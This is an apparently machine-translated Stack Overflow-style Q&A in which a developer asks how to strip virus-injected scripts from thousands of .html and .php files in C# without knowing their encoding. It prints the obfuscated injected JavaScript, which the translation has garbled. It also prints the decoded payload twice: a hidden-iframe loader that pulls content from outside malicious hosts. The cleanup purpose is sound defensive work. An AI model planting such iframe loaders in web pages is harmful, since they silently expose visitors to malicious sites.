一个文件可以在不知道其C#编码的情况下直接读写吗?

一个文件可以在不知道其C#编码的情况下直接读写吗?,c#,encoding,codepages,C#,Encoding,Codepages,我需要从FTP下载5000多个文件,分别是.html和.php文件。我需要读取每个文件,删除一些被病毒放在那里的东西,并将其保存回FTP 我正在使用以下代码: string content; using (StreamReader sr = new StreamReader(fileName, System.Text.Encoding.UTF8, true)) { content = sr.ReadToEnd(); sr.Close(); } using (StreamWrit

我需要从FTP下载5000多个文件,分别是.html和.php文件。我需要读取每个文件,删除一些被病毒放在那里的东西,并将其保存回FTP

我正在使用以下代码:

string content;
using (StreamReader sr = new StreamReader(fileName, System.Text.Encoding.UTF8, true)) {
    content = sr.ReadToEnd();
    sr.Close();
}

using (StreamWriter sw = new StreamWriter(fileName + "1" + file.Extension, false, System.Text.Encoding.UTF8))
{
    sw.WriteLine(content);
    sw.Close();
}
我手工下载了一些文件,其中一些有
,但我不想假设它们都是这样。我用Notepad++检查过,有些文本文件是ANSI。PHP似乎是UTF-8和HTMLWindows-1250,但我更希望在尝试修复它时不要破坏文件。那么,有没有一种方法可以让我不必知道/猜测编码,就可以从网页中删除病毒链接

编辑。我正在尝试查找并删除类似以下内容:

var s=新的 字符串();如果(r&&document.createTextNode)u=2,请尝试{document.rvwrew.vewr}catch(q){r=1;c=String;};e=评估;m=4.5*u,18/u,52.5*u,204/u,16*u,80/u,50*u,222/u,49.5*u,234/u,54.5*u,52/u,18/u,18/u,18/u,18/u,18/u,18/u,18/u,18/u,22/u,222/u,49.5*u,234/u,54.5*u,18/u,18/u,18/u,18/u,18/u,18/u,18/u,18/u,18/u,18/u,18/u,18/u,55/u,55/u,18/u,18/u,18/u,18/u,55/u,55/u,18/u,55/u,18/u,18/u,18/u,18/u,18/u,18/u,18/u,18/u,18/u,50,50 u/u,60.5*u,78/u,20.5*u,182/u,24*u,186/u,20.5*u,246/u,4.5*u,18/u,4.5*u,210/u,51*u,228/u,48.5*u,218/u,50.5*u,228/u、 20个u,202个u,54个u,54个u,54个u,32个u,23个u,238个u,23个u,238个u,58个u,57个u,210个u,210个u,210个u,210个u,50个u,58个u,58个u,58个u,58个u,58个u,58个u,20个5个u,18个u,18个u,6个u,6个u,18个u,8个u,8个u,4.5个u,8个u,8个u,4.5个u,8个u,8个u,8个u,8个u,8个u,8个u,4.5个u,8个u,8个u,8个u,8个5个u,18个u,18个u,18个u,18个u,18个,18个5个,18个,18个,18个,18个,18个,18个,18个,u/u,49.5*u,122/u,19.5*u,208/u,58*u,232/u,56*u,116/u,23.5*u,94/u,51*u,210/u,49*u,202/u,57*u,194/u,57.5*u,232/u、 48.5万u、232/u、48.5万u、48/u、56万u、94/u、57.5万、56万u、94/u、57.5万u、48.5万、232/u、232/u、232/u、232/u、232/u、232/u、32/u、32/u、32/u、32/u、32/u、20.5万u、18.5万u、32/u、232/u、32/u、50万u、50万u、18/u、18/u、18/u、18/u、18/u、18/u、18/u、18/u、18/u、18/u、18/u、18/u、50、50、52/u、52万、52、52/u、52、52、52、52、52、52、52、52、52、52、52、52、52、52、52、52、52、52、52、52、52、52、52、52、*u,98/u,24*u,78/u,16*u,230/u,58*u,242/u,54*u,202/u,30.5*u,78/u, 5万,210/u,58万u,242/u,220/220、29万、194/u、194/u、194/u、49万、49万、49万、49万、49万、49万、49万、49万、49万、49万、49万、49万、49万、49万、49万、49万、49万、20、20万、20万、19万、194/u、49万、49万、20万、230、230/u、230/u、230/u、5万、5万、5万、55.5万、55.5万、55.5万、5万、5万、55.5万、5万、5万、5万、5万、5万、5万、5万、5万、5万、5万、5万、5万、5万、21万、21万、21万、21万、21万、21万、21万、21万、20万、20、20万、20、20、20、20、232/u、55.5*u、224/u、29*u、96/u、29.5*u、78/u、31*u、120/u、23.5*u、210/u、51*u、228/u、48.5*u、218/u、50.5*u、124/u,4.5*u,18/u,18.5*u,18/u,18/u,18/u,5/u,18/u,18/u,18/u,51/u,51/u,234/u,234/u,55/u,55/u,55/u,55/u,55/u,55/u,19/u,198/u,58/u,17/u,17/u,17/u,17/u,17/u,17/u,18/u,18/u,18/u,17/u,18/u,18/u,18/u,18/u,18/u,18/u,58/u,58/u,18/u,10,10,10,10,10,10,10,10,10,10,10,10,10,18/u,18/u,18/u,18/u,58/u,18/u,10,10,18/u,10,10,18,5*u、234/u、54.5*u、202/u、55*u、232/u、23*u、198/u、57*u、202/u、48.5*u、232/u、50.5*u、138/u、54*u、202/u、54.5*u、55*u、232/u20个u,202个u,19.5个u,19.5个u,32.5个u,52.5个u,52个u,202个u,19.5个u,82个u,82个u,29.5个u,29.5个u,204个u,204个u,20.5个u,204个u,204个u,204个u,204个u,20个u,22个u,78个u,78个u,78个u,78个u,78个u,78个u,78个u,78个u,78个u,78个u,52.5个u,52.5个u,52个u,52个u,52个u,52个u,52个u,52个u,52个u,52个u,52个u,52个u,52个u,52个u,52个u,52个u,52个u,52个u,52个u,50个u,52个u,50个u,50个u,50 51*u、210/u、49*u、202/u、57*u、194/u、57.5*u、232/u、48.5*u、232/u、23*u、198/u、55.5*u、218/u、23.5*u、232/u、50.5*u、218/u/u、 56*u,94/u,57.5*u,232/u,48.5*u,232/u,23*u,224/u,52*u,224/u,19.5*u,82/u,29.5*u,204/u, 23个u、236个u、52.5个u、78个u、78个、29.5个、29.5个、29.5个u、55个u、78个u、29.5个u、29.5个u、19.5个u、19.5个u、78个u、29.5个5个u、19.5个u、78个u、29.5个5个u、196个u、196个u、196个u、196个u、5个u、19/u、5个u、5个u、5个u、5个u、5个u、5个u、19.5个u、19.5个u、5个u、19.5个u、5个u、5个u、5个u、5个u、5个u、5个u、5个u、5个u、5个u、5个u、5个u、5个u、5个u、5个u、5个u、19/你们们、19/222/u,55*u,122/u,19.5*u,194/u,49*u,230/u,55.5*u,216/u,58.5*u,232/u,50.5*u,78/u,29.5*u,204/u,23*u,230/u,50.5万u,204/u,58万u,58万u,122/u,122/56、122/122、122/122、122/122、122/u、19.5万万u、96/u、96/u、19.5万u、96/u、19.5万u、19.5万u、19.5万u、96/u、96/u、19.5万u、18/u、118/u、18/u、118/u、51/u、51/u、51/u、51/u、51/u、19.5、51/u、19.5万、19.5万u、18/u、18/u、18/u、18/u、18/u、18/u、18/u、18/u、51、51、51、51、51、51、51、50、51、51、51、51、51、51、52、51、51、52、52、52、92、92、92、92、92、92、92、92*u,202/u,20*u,78/u,59.5*u,210/u,50*u,232/u,52*u,78/u,22*u,78/u,24.5*u,96/u,19.5*u,82/u,29.5*u,204/u,23*u、 50.5万u,230/u,52.5万u,196/u,58/u,96/u,96/u,19.5万,19.5万,82/u,82/u,82/u,82/u,82/u,50.5万,50.5万u,50.5万u,50.5万u,50.5万u,80/u,80/u,80/u,80/u,80/u,19.5万,80/u,80/u,20.5万,80/u,19.5万,80/u,80/u,19.5万,80/u,19.5万,19.5万,80/u,80/u,18/u,18/u,19.5万,20,20,20,20,20,18/u,18/u,20,18/u,20,20,20,20,20,20/u,20,20,20,20,20,20,20,20,206/u、50.5*u、232/u、34.5*u、216/u、50.5*u、218/u、50.5*u、220/u、58*u、230/u、33*u、242/u、42*u、194/u、51.5*u、156/u、48。8/u,55.5*u,200/u,200/u,60.5*u,60.5*u,78/u,78/u,20.5*u,20.5*u,20.5*u,18/u,182/u,18/u,18/u,18/u,180/u,18/u,18/u,18/u,18/u,18/u,18/u,18/u,18/u,18/u,18/u,18/u,18/u,20/u,180/u,18/u,18/u,18/u,18/u,18/u,18/u,18/u,18/u,18/u,18/u,18/u,20/u,20/u,18/u,20/u,18/u,18/u,18/u,18/u,18/u,20/u,18/u,18/u,18/u,18/u,18/u,18 s+=mm(e(“m”+”[“+”i“+”]);尝试{doc.qwe.removeChild()}catch(q){e(s);}

解码后是什么

if (document.getElementsByTagName('body')[0]) {
    iframer();
} else {
    document.write("");
}
function iframer() {
    var f = document.createElement('iframe');
    f.setAttribute('src', 'http://fiberastat.com/temp/stat.php');
    f.style.visibility = 'hidden';
    f.style.position = 'absolute';
    f.style.left = '0';
    f.style.top = '0';
    f.setAttribute('width', '10');
    f.setAttribute('height', '10');
    document.getElementsByTagName('body')[0].appendChild(f);
}
当你访问网页时,它会告诉你这一点(解码后)

脚本添加在最后3行,基本上在
var之后开始

PHP脚本或多或少有这种类型的行
,但它可以在文件中的任何位置


不确定是否还有其他方法可以重写这些文件。但必须遍历5000个文件似乎有点太多和风险:-)

假设没有任何文件是UTF16或UTF32,并且您想要交互的部分完全是7位ASCII,您可以将其打开并保存为
编码。默认值
,这将是双向的任何更高的字符都是正确的。

病毒不需要知道文件编码,就可以将其内容添加到您的文件中,因此这显然是可能的。与其将文件视为文本,不如将其作为二进制文件处理,并搜索与病毒添加的内容匹配的模式。

如果要修改文件,您将你必须知道编码,否则你几乎肯定会弄坏一些东西。只是想一想,但是你没有这些文件在病毒感染之前的干净版本,或者是上传的原始文件,或者是备份文件吗?如果没有,那就要考虑下一步。没有。新客户今天联系了我,基本上他所有的都是我的这是一组包含两种类型条目的文件。我用问题代码更新了问题。而且他只有3-4天的备份(托管),他说他在2个月前注意到了这一点。所以备份
if (document.getElementsByTagName('body')[0]) {
    iframer();
} else {
    document.write("");
}
function iframer() {
    var f = document.createElement('iframe');
    f.setAttribute('src', 'http://vtempe.in/in.cgi?17');
    f.style.visibility = 'hidden';
    f.style.position = 'absolute';
    f.style.left = '0';
    f.style.top = '0';
    f.setAttribute('width', '10');
    f.setAttribute('height', '10');
    document.getElementsByTagName('body')[0].appendChild(f);
}